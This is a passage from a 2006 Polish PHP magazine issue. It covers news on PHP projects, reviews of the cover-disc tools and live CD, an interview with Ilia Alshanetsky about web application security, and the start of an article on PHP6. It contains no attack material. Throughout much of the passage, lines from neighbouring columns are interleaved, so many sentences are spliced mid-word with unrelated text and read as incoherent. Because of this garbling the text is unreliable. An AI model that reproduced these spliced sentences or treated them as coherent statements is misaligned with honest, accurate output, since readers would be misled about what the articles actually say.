nych bloków, które mają przyspieszyć i ułatwić
magazynów o PHP. Autorem FUDforum prawdę duże możliwości i przeznaczo- tworzenie wysokiej jakości oprogramowania.
jest Ilia Alshanetsky, jeden z najbardziej ne jest raczej dla bardziej zaawanso- Wśród nich znajdują się komponenty do two-
znanych deweloperów PHP, autor książ- wanych użytkowników. Jeśli zdecyduje- rzenia archiwum, cacheowania, dostępu do ba-
zy danych (opartego na PDO), debugowania,
ki PHP Security Guide, z którym mieli- cie się na przejście na FUDforum, to za operowania na plikach graficznych i ich anali-
śmy okazję rozmawiać i opublikować wy- pomocą dostępnych na stronie projektu zy, obsługi poczty elektronicznej, filtrowania da-
nych wejściowych czy komponenty zapewnia-
wiad właśnie w tym wydaniu PHP Solu- skryptów możemy dokonać bezbolesnej jące dostęp do danych systemowych takich jak
tions. Ilia na co dzień zajmuje się tema- migracji z najbardziej znanych for ta- (RAM, rodzaj CPU itp).
Komponenty wymagają PHP 5.1.
tyką zapewniania bezpieczeństwa apli- kich jak phpBB. Zachowują się wszyst- Licencja: New BSD.
kacjom WWW i tym samym zabezpiecza kie dane (również uprawnienia użytkow- http://ez.no/products/ez_components
FUDforum na wszelkie możliwe sposo- ników).
by. Oczywiście kwestie bezpieczeństwa Moodle – profesjonalny
e-learning za darmo
to nie wszystko. Forum zaskakuje dużą Licencja: GPL To najbardziej znany i najlepszy system e-lear-
funkcjonalnością. http://fudforum.org/forum/ ningu Open Source stworzony w PHP. Obsłu-
guje aż 73 wersje językowe i zgodny jest z taki-
mi standardami jak SCORM. Kursy dydaktycz-
ne mogą być umieszczane w rozmaity sposób
w różnej formie (pliki mutlimedialne, dokumen-
ty tekstowe w różnych formatach, prezentacje
itd.). System posiada trzy kategorie użytkowni-
ków: admin, nauczyciel i uczeń.
Instalacja systemu jest prawie automatycz-
na. Moodle działa na PHP 4/PHP 5, MySQL/
PostreSQL i Apache/IIS. Dostępnych jest wiele
dodatkowych modułów i pakietów językowych.
Na stronie Moodle'a zarejestrowanych jest po-
nad 70 tyś użytkowników, mówiących w 70 ję-
zykach i pochodzących ze 138 krajów. W su-
mie istnieje prawie 10 tyś stron używających
Moodle'a ze 150 krajów z całego świata (wykaz
znajduje się na stronie domowej projektu), co
stanowi jego najlepszą rekomendację.
Strona projektu zawiera obszerną dokumenta-
cję, FAQ, wersję DEMO oraz statystyki mówią-
ce o tym, jak kształtuje się społeczność uży-
wająca Moodle'a (ok. 40 tyś nowych użytkow-
ników rocznie, a liczba stron używających Mo-
odle'a w ciągu roku wzrosła 5-krotnie, z 2 to 10
tyś). Na stronie znajdziemy też Roadmap z cał-
kiem ambitnymi planami rozbudowy systemu
na najbliższy rok.
http://moodle.org

PHP Solutions Nr 3/2006 www.phpsolmag.org 9


Aktualności

Phalanger, czyli migracja PEAR::PHP_Compat, czyli PHP 5 w PHP 4


z .NET do PHP
Phalanger pozwala na kompilację aplikacji
stworzonej w PHP do .NET, czyli jej urucho-
mienie na platformie ASP.NET. Żeby prze-
D obre rozwiązanie dla tych, którzy z
jakichś powodów nie mogą sobie po-
zwolić na nowe środowisko – PHP 5 na
Compat nie jest zwykłym pakietem PEAR
– nie trzeba go instalować. Wystarczy po-
brać pliki i umieścić je tam, gdzie wskazuje
prowadzić kompilację, będziemy potrzebo-
wali: systemu Windows, frameworka .NET serwerze WWW, a stawiane aplikacje wy- opcja include_path w php.ini. Pakiet rozwi-
w wersji.1.1 i serwera IIS. Phalanger tłu-
maczy kod PHP 5 na język MSIL platfor- magają tej wersji języka. jany jest od połowy 2004 roku. W tym cza-
my .NET i zintegrowany jest z Visual Studio PHP Compat to zbiór funkcji z PHP 5 sie naprawiono kilka błędów i napisano kil-
.NET. Można kompilować PHP-owe aplika-
cje do osobnych programów, jak też do po- napisanych powtórnie specjalnie dla PHP kadziesiąt funkcji.
jedynczych bibliotek. 4. Pakiet jest na bieżąco rozwijany i gdy tyl-
Niedawno ukazała się pierwsza stabilna
ko pojawiają się nowe funkcje w PHP 5, są Licencja: PEAR, PHP License
wersja Phalangera (1.0), która wspiera wie-
le nowych rozszerzeń takich jak ODBC czy tworzone ich odpowiedniki w PHP 4. PHP http://pear.php.net/package/PHP_Compat
WinBinder. Dodano obsługę najnowsze-
go MySQL-a, nowe funkcjonalności z PHP
5.1.2 oraz naprawiono wiele błędów. Na
stronie projektu znajdziemy dokumentację MD-Pro

M
oraz ciekawe i zaskakujące benchmarki (np.
Phalanger/MSSQL kontra PHP/MSSQL lub D-Pro to łatwy w użyciu, administracji i
Phalanger/IIS kontra PHP/IIS). Można też utrzymaniu CMS tworzony przez sku-
zobaczyć przykładowe aplikacje, które zo-
piającą profesjonalistów PHP społeczność
stały przekompilowane do .NET, np.: php-
MyAdmin, phpBB czy PHP-Nuke. Z Road- MaxDev. Jest to system modularny (podob-
mapy projektu można się dowiedzieć o wie- nie jak np. XOOPS, czy Drupal), z możliwo-
lu ciekawych zmianach, które zostaną prze-
prowadzone w kolejnych wersjach aplikacji, ścią rozszerzania instalacji o wybrane z re-
np. wspraciu dla .NET Framework 2.0 pozytorium czy tworzone indywidualnie mo-
i Mono.
http://www.php-compiler.net/ duły. Wśród dostępnych modułów warto
wymienić: e-commerce (sklepy, systemy kami lub bez). Bloki umieszczamy w dzie-
Pakiet łat bezpieczeństwa płatności np. PayPall); zarządzanie pro- więciu różnych pozycjach na stronie i mo-
dla aplikacji PHP jektami, kalendarze, organizatory pracy; żemy swobodnie zmieniać ich szablony.
Hardening-Patch to zestaw łat, który za-
pewnia zwiększone bezpieczeństwo ser- galerie zdjęć, fora, czaty; zaawansowane MD-Pro oferuje też menedżer plików oraz
wera WWW oraz aplikacji pisanych w PHP. systemy menu, statystyki, narzędzia do narzędzia do backupowania i optymaliza-
Pakiet obecnie liczy 16 łat, m.in.: ochro-
na przed uploadowanymi zainfekowanymi zarządzania serwerem; sondy, newslet- cji bazy danych. Do edycji artykułów służy
plikami czy przed atakami HTTP Respon- ter, zdalne nauczanie. RTE Editor. Mamy też wbudowany mecha-
se Splitting.
Deweloperzy projektu świadczą wsparcie,
CMS zapewnia wielojęzyczność, ła- nizm statystyk.
publikują artykuły i organizują audyty bez- twość modyfikacji i dostosowania szablo- MD-Pro jest w 98% kompatybilny
pieczeństwa. Oficjalnie określili wydanie nów oraz pozycjonowanie bloków na stro- z modułami, blokami i szablonami z Po-
PHP Security Consortium Guide mianem
szkodliwej lektury. nie WWW. MD-Pro oferuje póki co wspar- stNuke i eNvolution. Projekt posiada mię-
Licencja: BSD cie dla MySQL-a i Oracle'a. Posiada rozbu- dzynarodowe wsparcie w wielu językach.
http://www.hardened-php.net/
dowany, przejrzysty panel administracyjny Dużym plusem projektu jest obszerna
PEAR::Image_3D z możliwością elastycznego i swobodnego i przejrzysta dokumentacja.
Image_3D to pakiet dla PHP 5 umożliwiają- zarządzania uprawnieniami, grupami i użyt-
cy tworzenie grafiki 3D. Pozwala na tworze-
nie różnych trójwymiarowych obiektów i de- kownikami. Mamy do wyboru cztery różne Licencja: GPL
finiowane własnych. Zapewnia nawet im- typy panelu administracyjnego (np. z grafi- http://www.maxdev.com/
port plików popularnego programu 3DSMax.
Grafiki wyjściowe tworzy za pośrednictwem
GD, SVG lub ASCII. Pakietowi brakuje nie-
stety dokumentacji dla użytkownika, przykła-
dów i tutoriali.
Licencja: LGPL
http://pear.php.net/package/Image_3D

Nitro Web Framework


Nitro to profesjonalny framework wykorzystują-
cy Ruby i Javascript. Oferuje wyjątkowo przej-
rzyste API i mapowanie ORM. Wykorzystu-
je AJAX-a i XML-a. Jednym słowem: RAD (Ra-
pid Application Development) dla programi-
stów PHP.
Licencja: BSD
http://www.nitrohq.com/

phpDataCache
PhpDataCache to biblioteka oferująca proste
API do cachowania danych w zmiennych PHP.
Wspiera wiele różnych DAO (Data Access Ob-
jects) w zależności od zastosowania.
Licencja: LGPL
http://sourceforge.net/projects/phpdatacache/

10 www.phpsolmag.org PHP Solutions Nr 3/2006


Opis CD

ConTEXT Editor

C onTEXT to wielookienkowy edytor


programistyczny, ułatwiający two-
rzenie aplikacji w PHP, Pythonie, Perlu,
Javie, Javascripcie i sporej liczbie innych
języków. Pozwala na zakładanie projek-
tów obejmujących zestaw plików, reje-
strację i uruchamianie makr czy stoso-
wanie szablonów kodu. To ostatnie ro-
bi duże wrażenie: możemy dodawać no-
we i edytować istniejące wzorce (np. kla-
sy czy funkcje), a następnie jednym na-
ciśnięciem CTRL+J wklejać je w dowol-
nym miejscu. Edycję ułatwiają również
zakładki, które umieszczamy w wybra-
nych liniach, a później możemy się do
nich odwoływać.
Bardzo wygodne jest zaznaczanie
dowolnego fragmentu kodu: możemy wy-
brać prostokątny blok np. od dziesiątej do
piętnastej kolumny. Przydatne jest też po-
równywanie zawartości dwóch plików czy
wyszukiwanie i zamiana przy użyciu wy-
rażeń regularnych. ConTEXT pozwa-
la również na przechwytywanie wyników duje się m.in. polska, francuska, niemiec- wanie wart zainteresowania każdego pro-
działania programów uruchamianych w li- ka i włoska. gramisty piszącego w PHP i nie tylko.
nii poleceń. Podsumowując: ConTEXT to darmo-
Interfejs edytora ConTEXT jest wielo- wy produkt porównywalny z niektórymi Licencja: freeware
języczny: wśród dostępnych wersji znaj- rozwiązaniami komercyjnymi, zdecydo- http://www.context.cx

PHP Expert Debugger i PHP Expert Editor


P HP Expert Debugger to darmowe i ła-
twe w użyciu narzędzie służące do
debuggowania skryptów napisanych w
PHP. Program korzysta z DBG PHP De-
bugger firmy Nusphere i pozwala debugo-
wać skrypty zarówno poprzez sieć, jak i na
lokalnych maszynach. Skrypty można uru-
chamiać w trybie krok-po-kroku w celu śle-
dzenia wartości dowolnej zmiennej oraz
wyniku skryptu. Debugger posiada przyja-
zny interfejs, a jego dodatkową zaletą jest
możliwość integracji ze środowiskami pro-
gramistycznymi dla PHP oraz edytorami.
PHP Expert Editor to kolejny przed-
stawiany przez nas edytor dedykowany
PHP. Twórcy przedstawiają go nawet jako
łatwe w użyciu IDE (ang. Integrated Deve-
lopment Environment). Edytor zaprojekto-
wany został z myślą o raczej zaawanso-
wanych programistach PHP, choć posia-
da funkcje przyjazne także początkują-
cym. Wśród wielu funkcjonalności wy-
mienić warto wbudowany serwer HTTP rzone skrypty. Program posiada obowiąz- przeglądarkę tworzonych projektów, prze-
(można używać także zewnętrznych ser- kowe podświetlanie składni, wbudowa- glądarkę bibliotek, system szablonów ko-
werów) oraz Debugger w którym możemy ną przeglądarkę, funkcję przeszukiwania du oraz inne raczej oczywiste funkcje (jak
uruchamiać, testować i debugować two- kodu, wyszukiwania plików, klienta FTP, różne tryby podświetlania).

12 www.phpsolmag.org PHP Solutions Nr 3/2006


Opis CD

JFFNMS – Just For Fun Network Management System

J FFNMS to rozbudowane narzędzie do


zarządzania i nadzorowania sieci lo-
kalnej, działające w przeglądarce interne-
towej. Pozwala śledzić ruch wchodzący
i wychodzący i sporządzać szczegółowe
raporty i statystyki, obejmujące m.in. licz-
bę przesyłanych bajtów, procent wykorzy-
stania łącza, liczbę pakietów (w tym błęd-
nych) na sekundę, ilość połączeń (również
połączenia odrzucone), komunikację TCP
(połączenia przychodzące, wychodzące,
nawiązane i opóźnione), liczbę użytkow-
ników oraz zużycie pamięci i dysków czy
procesora, jak też działanie oprogramo-
wania serwerowego, np. Apache'a. Może-
my też monitorować zawartość przesyłaną
przez porty TCP.
Program informuje użytkownika o
zdarzeniach zachodzących w sieci (m.in.
przez RSS, e-mail czy RDF), a także po-
zwala eksport zebranych danych do pliku obiektową. Do działania wymaga PHP, rzędzia NET-SNMP, biblioteki Graphviz
CSV czy sporządzanie wykresów na ich Apache'a i bazy danych (MySQL lub i Webfonts czy skaner portów NMAP.
podstawie. PostgreSQL). Jak zapewnia producent, Instalacja pakietu jest prosta i do-
JFFNMS integruje się z popularnymi program powinien działać pod każdym brze opisana. Podsumowując: JFFNMS
narzędziami administratorskimi, takimi jak systemem operacyjnym, dla którego ist- to narzędzie, które przyda się każde-
Smokeping, fping, NMAP, Linux TC, Ta- nieje PHP. mu administratorowi i właścicielowi sie-
tacs, IPTables, NTP czy MSyslog, a tak- (był testowany na Linuksie, FreeBSD ci komputerowej, który chce orientować
że z występującym w każdej dystrybu- i Windows 2000). Oprócz tego, wyma- się w wykorzystaniu swoich zasobów.
cji Linuksa cronem (menedżer planowa- ga Apache'a, bazy danych (MySQL lub
nych zadań). PostgreSQL) oraz narzędzi: RRDtool,
JFFNMS został napisany w PHP NMAP i GNU Diff. Opcjonalnie, przy- Licencja: GNU GPL
(współpracuje z PHP5) i jest aplikacją da się również serwer TFTP i trapd, na- http://www.jffnms.org

Filmy tutorialowe

W poprzednim numerze PHP Solutions


zamieściliśmy na płycie komercyjne
filmy firmy KeyStone Learning. W tym nu-
merze zamieściliśmy kompletne tutoriale
user_login, user_memberlist i user_mem-
berlist2. Są to trzy filmy pokazujące two-
rzenie oprogramowania w PHP (opracowa-
ne zostały na podstawie wersji PHP4) przy
użyciu edytora programistycznego Con-
TEXT. Są całkiem długie (razem ponad go-
dzinę) i wyczerpujące. Na pierwszym z nich
pokazane jest, jak napisać formularz logo-
wania oraz skrypt, który go obsługuje. Dwa
kolejne demonstrują tworzenie aplikacji po-
zwalającej na przeglądanie oraz edycję li-
sty użytkowników. Wszystkie filmiki opatrzo-
ne są narracją, w której programista prowa-
dzi widza krok po kroku przez wszystkie eta-
py tworzenia tych programów. Szczególny
nacisk kładziony jest na pokazanie zagad-
nień związanych z bezpieczeństwem (m.in.
oczyszczanie danych pobieranych z formu- tagów HTML-owych) oraz łączeniem z ba- są ciekawą propozycją, choć raczej dla po-
larza poprzez eskejpowanie czy usuwanie zami danych. Podsumowując: opisane filmy czątkujących programistów.

PHP Solutions Nr 3/2006 www.phpsolmag.org 13


Opis CD

IMP Webmail Client

I MP to program pocztowy działający


w przeglądarce internetowej. Umożli-
wia dostęp do kont IMAP oraz POP3, co
wyróżnia go pozytywnie pośród innych
klientów, których funkcjonalność prze-
ważnie ogranicza się do obsługi kont
IMAP-owych. Należy jednak wspomnieć,
że w obu przypadkach wymaga obsługi
IMAP przez serwer, na którym zainstalo-
wane jest PHP.
Interfejs programu IMP jest przejrzy-
sty i wygodny w obsłudze. Bardzo dobre
wrażenie sprawia edytor typu WYSIWYG
do tworzenia wiadomości. Poza tym, IMP
zapewnia obsługę (w tym przeszukiwanie)
wielu kont mailowych jednocześnie, możli-
wość stosowania kryptografii, poprawiony
w stosunku do wersji poprzedniej support
typów MIME czy elastyczność w wyborze
i zmianie aktualnej strony kodowej. Wiado-
mości są posegregowane na wielopozio-
mowe foldery. Możemy też przeszukiwać frameworka Horde (do którego zresztą bardzo pomocne. Możliwość sprawdzania
zgromadzone listy i zapisywać wyniki po- należy) w wersji 3.0 lub nowszej. Podsu- poczty w dowolnym miejscu (z dostępem
szukiwań do późniejszego wykorzystania. mowując: jeden z lepszych klientów ma- do sieci), na dowolnym komputerze wy-
Projekt dzieli się na dwie gałęzie (obie ilowych; twórcom należy się uznanie za posażonym w przeglądarkę internetową
stabilne) – 4.0 oraz 3.2.8, które minimal- to, że nie zapomnieli o użytkownikach jest często nieoceniona.
nie różnią się pod względem możliwości. kont POP3.
Do działania, IMP wymaga PHP (wersja Warto wiedzieć i pamiętać o istnie- Licencja: GNU GPL
4.3.0), biblioteki UW-IMAP c-client oraz niu tego typu aplikacji, bo mogą one być http://www.horde.org/imp

PHP Solutions Live – opis płyty CD

N a płycie CD ponownie zamieściliśmy


PHP Solutions Live – bootowalną
dystrybucję Linuksa opartą na Aurox Live
(może okazać się konieczne ustawienie
w BIOS-ie komputera odpowiedniej
opcji). Po uruchomieniu systemu, uka-
11. Bazowa zawartość dystrubucji w zasa- że się okno przeglądarki internetowej,
dzie się nie zmieniła. Stanowi ona komplet- zawierające menu płyty podzielone na
ną platformę testową, zawierającą PHP5, kategorie. To samo menu dostępne jest
bazę danych MySQL, serwer WWW Apa- w przypadku korzystania z płyty na za- zrobić na kilka sposobów. Pierwszym
che oraz przeglądarkę Firefox. Pozwala instalowanym systemie. Pierwszą z nich z nich jest użycie działającego w try-
na testowanie i modyfikowanie opisanych są rozwiązania z artykułów. Ten odno- bie graficznym narzędzia (system-ne-
w artykułach aplikacji, a także tworzenie śnik działa jednak tylko w systemie Live. twork-config). Menu systemu dostęp-
i korzystanie z własnych skryptów (należy Znajdują się tam rozwiązania z artyku- ne jest po kliknięciu prawym przyci-
je umieszczać w katalogu /var/www/html). łów jak system eyeOS (użytkownik:root; skiem myszki na pulpicie. Drugą meto-
Aby uruchomić dystrybucję, nale- hasło:admin) oraz Ampache (użytkow- dą jest wywołanie polecenia netconfig
ży wystartować komputer z płyty CD nik: admin; hasło:admin). Niżej znajdzie- z terminala. Po jego użyciu trzeba zre-
cie filmy, które można odtwarzać jednym startować sieć poleceniem service ne-
kliknięciem z poziomu Live. twork restart. Kolejnym sposobem jest
W następnych pozycjach menu znaj- użycie trzech komend linuksowych:
dziecie aplikacje, które zmieściły się na ifconfig urządzenie adres _ IP , route
płycie oraz książki w formacie PDF. add default gw adres _ bramki _
PHP Solutions Live pozwala na ko- internetowej oraz echo "nameserver
rzystanie z dysków twardych (wszyst- adres _ IP" > /etc/resolv.conf.
kie partycje są automatycznie mon-
towane podczas startu systemu) oraz Życzymy miłej pracy z Livem i cze-
sieci lokalnej i Internetu. Sieć trzeba kamy na Wasze sugestie, Redakcja
najpierw skonfigurować. Możecie to PHP Solutions.

14 www.phpsolmag.org PHP Solutions Nr 3/2006


Na CD
Przetestuj aplikacje
bez instalacji!

3 nowe książki elektroniczne


Byte of Python
Version Control with Subversion
Prolog and Natural – Language Analisis HIT
Kursy Video: User Login i User Memberlist – obejrzyj w Live!

Aplikacje
Context Editor – edytor wykorzystany w kursach video Rozwiązania z artykułów w PHP Solutions LiveCD
DzSoft PHP Editor – wydłużony 45 dniowy trial EyeOS
Quick Web Photo Resizer – wydłużony 45 dniowy trial
Ampache
PHP Expert Editor – shareware
PHP Expert debugger – shareware
na naszej stronie internetowej pod adresem www.phpsolmag.org/pl

na naszej stronie internetowej pod adresem www.phpsolmag.org/pl


Wszystkie listingi z artykułów zostały zamieszczone

Wszystkie listingi z artykułów zostały zamieszczone


Wywiad

Wywiad z Ilią Alshanetskym


Ilia jest głównym architektem oprogramowania
w Advanced Internet Designs Inc, firmie
oferującej wsparcie oraz usługi deweloperskie
dla szerokiej gamy podmiotów, zarówno
komercyjnych jak i rządowych, głównie
w zakresie technologii PHP. Poza
zaangażowaniem w przedsięwzięcia komercyjne,
Ilia uczestniczy też w wielu projektach typu
Open Source. Jest twórcą FUDForum i autorem
książki „PHP Security Guide”. Jako deweloper
bierze udział w rozwijaniu wielu rozszerzeń
języka PHP: między innymi PDO, GD, SQLite.

PHP Solutions: W jaki sposób zaczęła się mi słowy: niemalże każdy po przyswoje- ży w samym PHP. Problem w tym, że lu-
Twoja przygoda z PHP, w szczególności z niu podstawowych informacji, może prak- dzie słabo obeznani z informatyką (a w
aspektami bezpieczeństwa? tycznie z miejsca zacząć pisać działają- szczególności nieobeznani z PHP) nie do
Ilia Alshanetsky: Używam PHP od ce programy w oparciu o PHP. Jednak nie końca rozpoznają różnicę pomiędzy języ-
około 8 lat, zaś przez ostatnie 4-5 lat aktyw- na tym polega prawdziwa sztuka inżynie- kiem PHP, a aplikacją pisaną w tym języku.
nie współuczestniczę w rozwijaniu tej tech- rii oprogramowania. Chodzi o to, że ludzie Za to Ci, którzy te różnicę rozumieją, czę-
nologii. Bezpieczeństwo aplikacji jest jed- którzy piszą programy, których celem jest sto mimo to wyrabiają sobie mylne zdanie
nym z tych aspektów, do których zawsze „tylko” działać, często zapominają o innych na zasadzie rozumowania: skoro wszyst-
przywiązuję dużą wagę przy projektowa- ważnych kwestiach. Jedną z takich kwestii kie te duże, poważne (i popularne) projekty
niu aplikacji. Za każdym razem, kiedy piszę jest właśnie bezpieczeństwo aplikacji. Pro- mają luki w zabezpieczeniach to musi być
nowy fragment kodu, staram się myśleć o gramistom wydaje się zazwyczaj, że PHP to wina PHP. Przecież autorzy tych projek-
konsekwencjach wykorzystania tworzonego niejako automatycznie rozwiązuje wszyst- tów nie mogą się wszyscy naraz mylić...
właśnie rozwiązania, głównie w kontekście kie związane z tym problemy. Niestety, jak Z technicznego punktu widzenia, PHP nie
bezpieczeństwa. Uważam po prostu, że pewno zdajesz sobie z tego sprawę, osoby jest bardziej czy mniej bezpieczne niż Java
bezpieczeństwo aplikacji jest jednym z tych myślące w ten sposób są w dużym błędzie. czy .NET. Jednak dziwnym trafem mało kto
elementów funkcjonalności, których zwy- W konsekwencji mamy na rynku nawał apli- zakłada, że Java sama z siebie gwarantuje
czajnie nie da się dodać później. Od ponad kacji zbudowanych przy użyciu PHP, które bezpieczeństwo tworzonych w niej aplika-
dwóch lat staram się promować i uspraw- pod względem bezpieczeństwa są, delikat- cji. A w przypadku PHP takie założenie jest
niać mechanizmy bezpieczeństwa PHP. nie mówiąc, niezadowalające. Na dodatek, niemalże na porządku dziennym.
PHPS: Jak Twoim zdaniem prezentują wielu autorów takich aplikacji dokleja skrót PHPS: Jesteś autorem książki PHP
się rozwiązania związane z zapewnieniem PHP do nazw swoich produktów, po to aby Security Guide. Na czym głównie skupiłeś
bezpieczeństwa PHP (i aplikacji WWW) w ludzie kojarzyli je z tą technologią. Przykła- się przygotowując tę pozycję?
odniesieniu do takich platform jak Java lub dy takiego marketingowego zabiegu moż- Ilia: Starałem skupić się na najczęściej
ASP. Czy w porównaniu z technologią PHP na mnożyć: PHPNuke, PHPBB, phpMyAd- wykorzystywanych słabych punktach istnie-
mechanizmy te wyróżniają się czymś szcze- min i tak dalej... Konsekwencje są takie, że jących w mechanizmach bezpieczeństwa
gólnym? jeśli we wspomnianych produktach znajdo- Internetu, oczywiście ze szczególnym ukie-
Ilia: Moim zdaniem główną siłą języ- wane są dziury, to wiele osób wyrabia so- runkowaniem na problemy związane z PHP.
ka PHP jest łatwość jego używania. Inny- bie automatycznie zdanie, że problem le- Mam tu na myśli takie zjawiska jak ataki

16 www.phpsolmag.org PHP Solutions Nr 3/2006


Wywiad

XSS (ang. Cross Site Scripting), fałszowa- potrzebowałem biuletynu informacyjnego o takimi jak Java czy .NET. Na szczęście fir-
nie żądań (ang. Request Forgery), wstrzy- bardzo dużej przepustowości i żadne z ist- my takie jak Sun czy Zend pracują aktualnie
kiwanie kodu SQL (ang. SQL Injection) i tak niejących rozwiązań (zarówno darmowych nad tymi zagadnieniami, co wróży rychłą po-
dalej. Celem mojej książki było przedstawie- jak i komercyjnych) nie odpowiadało moim prawę aktualnego stanu rzeczy. Jeśli mówi-
nie wspomnianych form ataków, wyjaśnie- potrzebom. Dodatkowo, jedno z wymagań my o sprawach powiązanych z bezpieczeń-
nie na czym polegają niebezpieczeństwa z odnośnie docelowego rozwiązania zakłada- stwem to myślę, że warto by popracować
nimi związane i wreszcie: pokazanie, w jaki ło potrzebę ścisłej integracji z NNTP, w ce- nad usprawnieniem podstawowego pakietu
sposób techniki te są w praktyce nadużywa- lu uzyskania obustronnej komunikacji po- narzędzi PHP, tak aby pisanie bezpiecznych
ne. Byłbyś prawdopodobnie zdziwiony, gdy- między forum a serwerem newsów. Po wy- aplikacji było łatwiejsze i bardziej naturalne.
byś wiedział jak wielu ludzi (zarówno progra- konaniu wstępnych badań, które miały okre- Dobry przykład, a jednocześnie zdecydowa-
mistów jak i menedżerów IT) wykazuje na- ślić, na ile opłaca się modyfikować istnieją- ny krok w dobrym kierunku w tej dziedzinie
gminną i niemalże irracjonalną tendencję do ce rozwiązania w celu uzyskania wymaga- stanowi rozszerzenie PHP udostępniające
ignorowania tego typu problemów. Weźmy nej wydajności i funkcjonalności, uznałem mechanizmy filtrowania.
na przykład atak XSS: wiele osób argumen- że korzystniej będzie zbudować taki system PHPS: Wiele rozwiązań tworzonych
tuje, że technika ta wymaga specjalnych od podstaw. I tak to się zaczęło... w PHP wzoruje się na istniejących pomy-
technik socjologicznych w celu jej zastoso- PHPS: Co Twoim zdaniem jest naj- słach realizowanych na bazie innych plat-
wania i przez to mało kto jej używa. Ponie- ważniejsze w kontekście przyszłości plat- form, takich jak na przykład Java. Moż-
waż tego typu argumenty ocierają się o non- formy PHP? Jakie zmiany należałoby we- na by tu wymienić takie projekty jak SDO,
sens, dlatego w swojej książce dosyć dużo dług Ciebie wprowadzić tak, aby ulepszyć PHPUnit czy iConnect, a także wiele in-
miejsca poświęciłem na analizę wspomnia- język, zwiększyć bezpieczeństwo aplikacji i nych. Czy sadzisz, że nadejdzie kiedyś
nych problemów w kontekście praktycznym. sprawić, że PHP będzie częściej używany dzień, kiedy sytuacja się odwróci i progra-
PHPS: Czy mógłbyś powiedzieć coś do budowania rozwiązań klasy Enterprise? miści Javy będą czerpać pomysły z pro-
na temat projektów, w których aktualnie Ilia: Cóż, wydaje mi się, że powstawa- jektów opartych na platformie PHP? Czy
bierzesz udział. Które z nich są najbar- nie i rozwój takich firm jak Zend, Omni Ti, myślisz, że jest to w ogóle możliwe?
dziej interesujące? I dlaczego? Advanced Internet Designs Inc (to akurat Ilia: Nie widzę przeszkód – w końcu do-
Ilia: Zasadniczo, niemalże o wszyst- moja firma) czy eZ Publish, daje bardzo du- bre pomysły są w dużej mierze niezależ-
kich projektach (zarówno tych otwartych jak żo w kontekście przydatności PHP przy bu- ne od platformy. Prawdę mówiąc widziałem
i tych komercyjnych) w których biorę (bądź dowaniu zaawansowanych rozwiązań biz- już kilka rozwiązań budowanych przy uży-
brałem) udział, mogę powiedzieć, że by- nesowych. W przypadku dużych firm, głów- ciu ASP/.NET, lecz opartych – w sensie kon-
ły interesujące. Dla przykładu, ostatnio pra- nym problemem jest najczęściej brak wspar- cepcyjnym – na projektach PHP. Przykłado-
cuję nad aplikacją, której zadaniem jest au- cia dla danej technologii, szczególnie w sytu- wo ASPMyAdmin odwzorowuje ideę php-
tomatyczne wykrywanie słabych punktów acjach krytycznych. Problem ten dotyka wie- MyAdmin, tyle że docelowo działa w środo-
w systemach webowych i przygotowywanie lu przedsięwzięć typu Open Source. Dewe- wisku Microsoft SQL Server.
szczegółowych raportów dla klienta. Projekt loperska lista dyskusyjna czy też adres ma- PHPS: Jakie są Twoje plany zawodo-
ten jest niezwykle ekscytujący i jednocze- ilowy do autorów, to często zbyt mała gwa- we na najbliższy czas? Zamierzasz rozpo-
śnie stanowi duże wyzwanie od strony tech- rancja wsparcia dla dużych organizacji, któ- czynać jakieś nowe projekty?
nicznej. Poświęcam temu prawie przez ca- re chciałby korzystać z rozwiązań otwartych. Ilia: Jest jedna rzecz, którą chciałbym
ły swój wolny czas i sądzę, że jeszcze tro- W momencie kiedy pojawiają się firmy ofe- się w niedługim czasie zająć. Mam na my-
chę potrwa, zanim dobrnę do końca. Wyda- rujące profesjonalną pomoc w tym zakresie śli bibliotekę, czy może wręcz rozszerzenie
je mi się, że w perspektywie ostatniego roku (w przewidywalnym czasie), sytuacja wy- PHP, pozwalające przekształcać zapytania
było to chyba najciekawsze z moich przed- gląda zupełnie inaczej. Inna sprawa to kwe- użytkownika na format, który byłby łatwy do
sięwzięć. Oczywiście w międzyczasie zaj- stia popularności danej technologii. Na przy- zastosowania przy budowaniu zapytań ni-
muję się też FUDforum, gdzie zawsze sta- kład PHP jest używane do obsługi serwisu skopoziomowych. Cała ta sprawa wiąże się
ram się prezentować coś nowego. Można Yahoo. Fakt ten jest niezwykle istotny, głów- z faktem, że ostatnio spędziłem dużo czasu
powiedzieć, że prowadzę wyścig z samym nie z tego względu, że menadżerowie lubią na przystosowywaniu PHP do pracy z róż-
sobą, starając się ulepszać to, co już robi- weryfikować swoje decyzje na podstawie nymi ciekawymi silnikami wyszukiwania, na
łem wcześniej. To również jest bardzo eks- decyzji podejmowanych w innych firmach. przykład Xapian. W trakcie pracy okaza-
cytujące zajęcie, szczególnie kiedy udaje mi Bardzo mało jest odważnych jednostek, któ- ło się, że brakuje mi udogodnień wspiera-
się znaleźć nowe, lepsze rozwiązanie pro- re decydują się wykonać pierwszy krok. Jeśli jących przekształcanie złożonych zapytań
blemu, który wydawał się być już całkowicie chodzi o platformę samą w sobie, to wydaje użytkownika na odpowiadające im zapyta-
rozłożony na łopatki. mi się, że należy zwiększyć nakład pracy nia do bazy danych. Sądzę, że mając wspo-
PHPS: Jakie były początki projektu nad dostarczaniem narzędzi ułatwiających i mniane udogodnienie, można by oszczędzić
FUDforum. Czy był jakiś specjalny powód, wspomagających proces budowania aplika- sobie bardzo dużo pracy w różnego rodzaju
który sprawił, że się tym zająłeś? cji oraz integrację z najnowszymi technolo- przedsięwzięciach. n
Ilia: Często odpowiadam na tego ty- giami – takimi jak na przykład JSON. Waż-
pu pytania ;-). Można powiedzieć, że pro- nym aspektem wydaje się być kwestia inte- Wywiad przeprowadził
jekt ruszył z dwóch powodów. Po pierwsze, gracji PHP z innymi platformami i językami, Dariusz Pawłowski

PHP Solutions Nr 3/2006 www.phpsolmag.org 17


Początki

Co nowego w PHP6?
Stopień trudności: lll
Richard Davey

Jedenastego listopada, 2005 roku w Paryżu


odbyło się spotkanie twórców platformy PHP.
Kluczowym elementem spotkania była dyskusja
nad wyznaczeniem przyszłych kierunków
rozwoju dla tej technologii. W wyniku rozmów
powstał protokół opisujący pomysły związane
z odsłoną PHP6.

N
iestety dokument ten, ze wzglę- czy powoduje, że PHP musi przechowy-
du na rozmiary i poziom szcze- wać informacje na temat nazw klas, metod
gółowości jest stosunkowo trud- czy funkcji podwójnie: zarówno w formacie
ny w odbiorze. Dlatego też napisałem ni- Unicode, jak i w formacie zawężonym.
niejszy artykuł, który w przystępny i kom- W rezultacie potrzeba na to wszystko dużo
